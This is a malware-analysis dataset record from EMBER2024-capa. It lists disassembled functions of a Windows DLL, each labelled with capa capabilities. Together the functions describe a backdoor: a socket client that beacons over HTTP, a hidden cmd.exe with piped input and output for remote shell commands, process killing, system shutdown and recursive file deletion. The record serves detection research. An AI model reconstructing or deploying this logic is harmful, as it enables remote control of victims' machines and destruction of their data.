joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002ce0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
push edi
pushal
xor eax, ebx
sub ebx, ecx
add ecx, 0x989898
sub ecx, eax
xor ebx, 0x87
popal
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
mov dword [0x10007424], eax
je 0x10002dda
push 0x10007420
push 0
push 0
push 0x10002b40
push 0
push 0
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov ebx, eax
add esp, 0x18
test ebx, ebx
je 0x10002dda
mov eax, dword [0x10007424]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [0x10007424]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
lea edx, [ebp - 0x190]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, dword [ebp + 8]
push eax
call fcn.10002990
add esp, 4
test eax, eax
je 0x10002dd7
call fcn.10002a50
mov eax, dword [0x10007428]
test eax, eax
jne 0x10002dd1
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0x2710
call esi
mov eax, dword [0x10007434]
inc eax
cmp eax, 0x1e
mov dword [0x10007434], eax
jbe 0x10002dc2
mov ecx, dword [0x10007420]
push 0
push 0
push 0x464
push ecx
call edi
mov eax, dword [0x10007428]
test eax, eax
je 0x10002d99
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push ebx
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10002ed0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
sub esp, 0x18
lea eax, [esp + 4]
push esi
push edi
mov edi, ecx
push eax
mov ecx, dword [edi + 0x20]
push ecx
mov ecx, edi
call fcn.10003040
test eax, eax
je 0x10002f8b
mov ecx, edi
call fcn.10002fb0
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10002f17
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
pop edi
xor eax, eax
pop esi
add esp, 0x18
ret
lea edx, [esp + 8]
push 4
push edx
push 0x1002
push 0xffff
push esi
mov dword [esp + 0x1c], 0xffffffff
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x10002f75
mov eax, dword [esp + 0xc]
mov word [esp + 0x10], 2
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov cx, word [edi + 0x24]
mov dword [esp + 0x14], eax
push ecx
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 0x10]
push 0x10
push edx
push esi
mov word [esp + 0x1e], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10002f93
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push 2
push esi
call dword [sym.imp.WS2_32.dll_shutdown]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x18
ret
mov ecx, edi
mov dword [edi + 0x18], esi
call fcn.10003090
pop edi
pop esi
add esp, 0x18
ret
Function at 0x10003040
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x1000307d
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10003060
pop esi
ret 8
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov ecx, dword [esp + 0xc]
pop esi
mov dword [ecx], eax
mov eax, 1
ret 8
mov edx, dword [esp + 0xc]
mov eax, 1
mov dword [edx], esi
pop esi
ret 8
Function at 0x10003090
Capabilities:
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
sub esp, 0xb2c
push ebx
push ebp
push esi
lea eax, [esp + 0x10]
push edi
mov ebx, ecx
push eax
call fcn.10003220
mov eax, 0x10624dd3
mov ecx, 0x200
mul dword [ebx + 0x30]
xor eax, eax
lea edi, [esp + 0x33c]
rep stosd dword es:[edi], eax
mov ecx, dword [str.Connection:_Keep_Alive_r_n]
mov eax, dword [ebx + 0x20]
push ecx
mov ecx, dword [str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1__SV1_]
push eax
mov eax, dword [str.Accept_Language:_en_us_r_n]
push ecx
mov ecx, dword [str.image_gif__image_x_xbitmap__image_jpeg__image_pjpeg__application_x_shockwave_flash__application_vnd.ms_excel__application_vnd.ms_powerpoint__application_msword___]
shr edx, 6
push eax
mov eax, dword [esp + 0x34]
push ecx
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x34c], edx
push edx
mov edx, dword [esp + 0x40]
push edx
mov edx, dword [esp + 0x30]
push eax
mov eax, dword [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x3c]
push edx
push eax
lea edx, [esp + 0x15c]
push ecx
lea eax, [esp + 0x264]
push edx
push eax
lea ecx, [esp + 0x374]
push str.GET__csi_k_sn_sa_di_dp_dl_dr_dc_dt_d_HTTP_1.1_r_nAccept:__s_r_n_sUser_Agent:__s_r_nHost:__s_r_n_s_r_n
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x37c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x40
repne scasb al, byte es:[edi]
not ecx
lea edx, [esp + 0x33c]
dec ecx
test edx, edx
mov edi, ecx
jne 0x10003155
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xb2c
ret
test edi, edi
ja 0x10003166
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xb2c
ret
mov ecx, dword [ebx + 0x18]
lea eax, [esp + 0x10]
push 4
push eax
push 0x1005
push 0xffff
push ecx
mov dword [esp + 0x24], 0x7d0
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x100031b0
mov edx, dword [ebx + 0x18]
push 2
push edx
call dword [sym.imp.WS2_32.dll_shutdown]
mov eax, dword [ebx + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xb2c
ret
mov ecx, dword [ebx + 0x18]
push 1
push 0xf
push ecx
mov ecx, ebx
call fcn.10001130
test eax, eax
jne 0x100031d6
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xb2c
ret
xor esi, esi
test edi, edi
jbe 0x1000320b
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebx + 0x18]
mov edx, edi
sub edx, esi
push 0
lea eax, [esp + esi + 0x340]
push edx
push eax
push ecx
call ebp
test eax, eax
jle 0x100031c9
add esi, eax
mov dword [0x10007434], 0
cmp esi, edi
jb 0x100031e2
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xb2c
ret
Function at 0x10003450
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xd0
mov edx, ecx
push edi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edx, dword [edx + 4]
lea ecx, [esp + 0xc]
stosb byte es:[edi], al
lea eax, [esp + 4]
mov dword [esp + 4], 0xc8
push eax
lea eax, [esp + 0xc]
push ecx
mov ecx, dword [esp + 0xe0]
push eax
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
pop edi
jne 0x100034ab
mov edx, dword [esp + 0xd8]
lea ecx, [esp + 8]
mov dword [edx], ecx
add esp, 0xd0
ret 8

Function at 0x100034c0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x10005b98
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
call fcn.10005680
mov eax, dword [esp + 0x1c]
xor edi, edi
push 0xc800
mov dword [esp + 0x18], edi
mov dword [esi], fcn.10005760
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov ecx, esi
mov dword [esi + 0x24], eax
mov dword [esi + 0x40], edi
call fcn.10003600
mov ecx, dword [esp + 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4
Function at 0x10003600
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create process suspended
Create two anonymous pipes
Execute shell command and capture output
Get common file path

Disassembly:
sub esp, 0x164
push ebx
push ebp
push esi
push edi
mov ebp, ecx
call fcn.100037b0
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x14], ecx
xor edx, edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], ecx
mov ecx, 0x10
lea edi, [esp + 0x30]
mov dword [esp + 0x2c], edx
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x71]
mov dword [esp + 0x28], eax
mov byte [esp + 0x70], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0x10], edx
mov dword [esp + 0x24], edx
push edx
lea edx, [esp + 0x24]
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_CreatePipe]
lea ebx, [ebp + 0x34]
push edx
lea eax, [ebp + 0x28]
push ebx
push eax
mov dword [esp + 0x30], 0xc
mov dword [esp + 0x38], 1
call edi
test eax, eax
jne 0x10003692
mov ecx, ebp
call fcn.100037b0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x164
ret
lea ecx, [esp + 0x20]
push 0
lea edx, [ebp + 0x2c]
lea esi, [ebp + 0x30]
push ecx
push edx
push esi
call edi
test eax, eax
jne 0x100036bb
mov ecx, ebp
call fcn.100037b0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x164
ret
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x2c]
mov dword [esp + 0x14], eax
push ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebx]
mov edx, dword [esi]
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], eax
lea eax, [esp + 0x70]
push 0x104
push eax
mov dword [esp + 0x34], 0x44
mov word [esp + 0x64], 5
mov dword [esp + 0x60], 0x101
mov dword [esp + 0x6c], edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.cmd.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x70]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x30]
lea edx, [esp + 0x74]
push ecx
push 0
push 0
push 0x8000000
push 1
push 0
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10003786
mov ecx, ebp
call fcn.100037b0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x164
ret
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
pop edi
mov dword [ebp + 0x38], eax
mov dword [ebp + 0x3c], ecx
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x164
ret
Function at 0x100037b0
Capabilities:
Terminate process
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov eax, dword [esi + 0x38]
cmp eax, ebx
je 0x100037c6
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esi + 0x3c]
cmp eax, ebx
je 0x100037d5
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 0x28]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
cmp eax, ebx
je 0x100037e5
push eax
call edi
mov eax, dword [esi + 0x2c]
cmp eax, ebx
je 0x100037ef
push eax
call edi
mov eax, dword [esi + 0x30]
cmp eax, ebx
je 0x100037f9
push eax
call edi
mov eax, dword [esi + 0x34]
cmp eax, ebx
je 0x10003803
push eax
call edi
mov eax, dword [esi + 0x28]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, ebx
je 0x10003816
push eax
call edi
mov dword [esi + 0x28], ebx
mov eax, dword [esi + 0x2c]
cmp eax, ebx
je 0x10003823
push eax
call edi
mov dword [esi + 0x2c], ebx
mov eax, dword [esi + 0x30]
cmp eax, ebx
je 0x10003830
push eax
call edi
mov dword [esi + 0x30], ebx
mov eax, dword [esi + 0x34]
cmp eax, ebx
je 0x1000383d
push eax
call edi
mov dword [esi + 0x34], ebx
mov eax, dword [esi + 0x38]
cmp eax, ebx
je 0x1000384a
push eax
call edi
mov dword [esi + 0x38], ebx
mov eax, dword [esi + 0x3c]
cmp eax, ebx
je 0x10003857
push eax
call edi
mov dword [esi + 0x3c], ebx
pop edi
pop esi
pop ebx
ret

Function at 0x10003860
Capabilities:
Write file on windows

Disassembly:
push ecx
mov eax, dword [ecx + 0x2c]
test eax, eax
jne 0x1000386c
pop ecx
ret 8
mov edx, dword [esp + 0xc]
lea ecx, [esp]
push 0
push ecx
mov ecx, dword [esp + 0x10]
push edx
push ecx
push eax
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ecx
ret 8

Function at 0x10003890
Capabilities:
Read file on windows
Read pipe

Disassembly:
sub esp, 8
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x28]
test eax, eax
je 0x100038fb
mov edi, dword [esp + 0x14]
lea ecx, [esp + 0xc]
push 0
lea edx, [esp + 0xc]
push ecx
push edx
push 0x400
push edi
push eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x100038fb
mov eax, dword [esp + 8]
test eax, eax
jbe 0x100038fb
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0xc]
mov edx, dword [esi + 0x28]
push 0
push eax
push ecx
push edi
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop edi
mov eax, 1
pop esi
add esp, 8
ret 8
pop edi
xor eax, eax
pop esi
add esp, 8
ret 8
Function at 0x10003a90
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
test eax, eax
push edi
mov ebx, ecx
jne 0x10003aa7
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
mov edi, dword [esp + 0x18]
test edi, edi
ja 0x10003ab8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
mov eax, dword [ebx + 0x18]
push 1
push 0xf
push eax
mov ecx, ebx
call fcn.10001130
test eax, eax
jne 0x10003ad4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
xor esi, esi
test edi, edi
jbe 0x10003b09
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov edx, dword [esp + 0x14]
mov ecx, edi
sub ecx, esi
push 0
push ecx
mov ecx, dword [ebx + 0x18]
lea eax, [esi + edx]
push eax
push ecx
call ebp
test eax, eax
jle 0x10003acb
add esi, eax
mov dword [0x10007434], 0
cmp esi, edi
jb 0x10003ae0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret 8

Function at 0x10003e20
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
test eax, eax
push edi
mov ebx, ecx
jne 0x10003e37
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
mov edi, dword [esp + 0x18]
test edi, edi
ja 0x10003e48
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
mov eax, dword [ebx + 0x18]
push 1
push 0xf
push eax
mov ecx, ebx
call fcn.10001130
test eax, eax
jne 0x10003e6a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
xor esi, esi
test edi, edi
jbe 0x10003e9f
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov edx, dword [esp + 0x14]
mov ecx, edi
sub ecx, esi
push 0
push ecx
mov ecx, dword [ebx + 0x18]
lea eax, [esi + edx]
push eax
push ecx
call ebp
test eax, eax
jle 0x10003e61
add esi, eax
mov dword [0x10007434], 0
cmp esi, edi
jb 0x10003e76
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret 8

Function at 0x10003fd0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x20
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x24]
shr ecx, 0x14
mov dword [edx], ecx
mov eax, 1
add esp, 0x20
ret 4

Function at 0x10004020
Capabilities:
Get hostname

Disassembly:
sub esp, 0x108
push esi
mov esi, dword [esp + 0x110]
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
mov dword [esi], 0x10007438
mov dword [esp + 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edx, [esp + 0xc]
pop edi
mov dword [esi], edx
pop esi
add esp, 0x108
ret 4
Function at 0x10004110
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10004131
add esp, 0x14
ret 4
lea ecx, [esp + 8]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x1000414d
add esp, 0x14
ret 4
mov eax, dword [esp]
push 0
push 0
lea edx, [esp + 0xc]
push 0
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1000417f
add esp, 0x14
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x10004191
xor eax, eax
add esp, 0x14
ret 4
mov ecx, dword [esp + 0x18]
push 0
or ecx, 4
push ecx
call dword [sym.imp.USER32.dll_ExitWindowsEx]
neg eax
sbb eax, eax
neg eax
add esp, 0x14
ret 4
Function at 0x100041b0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x10005c3b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
lea ecx, [esp]
call fcn.10003390
push str.SYSTEMCurrentControlSetServices_softOSD
push closesocket
lea ecx, [esp + 8]
mov dword [esp + 0x1a4], 0
call fcn.100033f0
test eax, eax
je 0x10004223
lea ecx, [esp]
mov dword [esp + 0x19c], 0xffffffff
call fcn.100033c0
xor eax, eax
mov ecx, dword [esp + 0x194]
mov dword fs:[0], ecx
add esp, 0x1a0
ret 4
push ebx
push esi
lea eax, [esp + 0x14]
push edi
push eax
push str.ImagePath
lea ecx, [esp + 0x14]
call fcn.10003450
lea ecx, [esp + 0xc]
call fcn.100033d0
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x9c]
push 0xa
rep stosd dword es:[edi], eax
mov ecx, 0x20
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.MSVCRT.dll__itoa]
mov edi, dword [esp + 0x24]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x9c]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x9c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x100073a8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x9c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x1b0]
mov ecx, ebx
and ecx, 3
test eax, eax
rep movsb byte es:[edi], byte [esi]
je 0x10004337
mov edi, 0x100073a4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x9c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x9c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0xc]
mov dword [esp + 0x1a8], 0xffffffff
call fcn.100033c0
mov ecx, dword [esp + 0x1a0]
pop edi
pop esi
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x1a0
ret 4

Function at 0x10004380
Capabilities:
Create process on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call fcn.100043d0
add esp, 4
test eax, eax
jne 0x10004396
pop esi
ret 8
mov eax, dword [esp + 0xc]
neg eax
sbb eax, eax
and eax, 5
push eax
push 0
push 0
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
cmp eax, 0x20
setg cl
mov eax, ecx
pop esi
ret 8
Function at 0x100043d0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x100043ee
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x100043ee
test al, 0x10
jne 0x100043ee
mov eax, 1
ret
xor eax, eax
ret

Function at 0x10004430
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x44c
lea eax, [esp + 0x348]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x45c]
push edi
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push esi
push str._s.
mov ebp, ecx
push eax
call edi
add esp, 0xc
lea ecx, [esp + 0x10]
lea edx, [esp + 0x358]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10004485
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44c
ret 4
lea eax, [esp + 0x3c]
push 0x100073f8
push eax
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
test eax, eax
je 0x100044ff
lea ecx, [esp + 0x3c]
push 0x100073f4
push ecx
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
test eax, eax
je 0x100044ff
mov al, byte [esp + 0x10]
lea edx, [esp + 0x3c]
push edx
push esi
test al, 0x10
push str._s_s
je 0x100044e4
lea eax, [esp + 0x15c]
push eax
call edi
add esp, 0x10
lea ecx, [esp + 0x150]
push ecx
mov ecx, ebp
call fcn.10004430
jmp 0x100044ff
lea eax, [esp + 0x260]
push eax
call edi
add esp, 0x10
lea ecx, [esp + 0x254]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x10]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10004485
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
neg eax
pop edi
pop esi
sbb eax, eax
pop ebp
neg eax
pop ebx
add esp, 0x44c
ret 4
Function at 0x100049f0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x240
push ebx
mov ebx, dword [esp + 0x248]
push ebp
push esi
mov ebp, dword [ebx + 8]
mov edx, dword [ebx + 4]
mov eax, ebp
push edi
cmp eax, ebp
je 0x10004a27
mov esi, eax
mov edi, edx
add eax, 0x114
mov ecx, 0x45
add edx, 0x114
cmp eax, ebp
rep movsd dword es:[edi], dword [esi]
jne 0x10004a0d
mov eax, dword [ebx + 8]
push 0
push 2
mov dword [esp + 0x18], eax
mov dword [ebx + 8], edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10004a50
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x240
ret 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x128
push ecx
push ebp
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10004a7d
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x240
ret 4
mov ecx, 0x45
xor eax, eax
lea edi, [esp + 0x13c]
lea edx, [esp + 0x13c]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x38]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [esp + 0x2c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x30]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x24c], edx
mov dword [esp + 0x240], ecx
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x13c]
mov dword [esp + 0x244], eax
mov eax, dword [ebx + 8]
push edx
mov dword [esp + 0x24c], ecx
push 1
push eax
mov ecx, ebx
call fcn.10004f10
lea ecx, [esp + 0x14]
push ecx
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10004a7d
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 4]
test eax, eax
jne 0x10004b22
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x240
ret 4
mov ebx, dword [ebx + 8]
pop edi
sub ebx, eax
mov eax, 0x76b981db
imul ebx
sar edx, 7
mov eax, edx
pop esi
shr eax, 0x1f
add edx, eax
pop ebp
mov eax, edx
pop ebx
add esp, 0x240
ret 4

Function at 0x10004b50
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
push esi
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x10004b6d
pop esi
ret 4
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret 4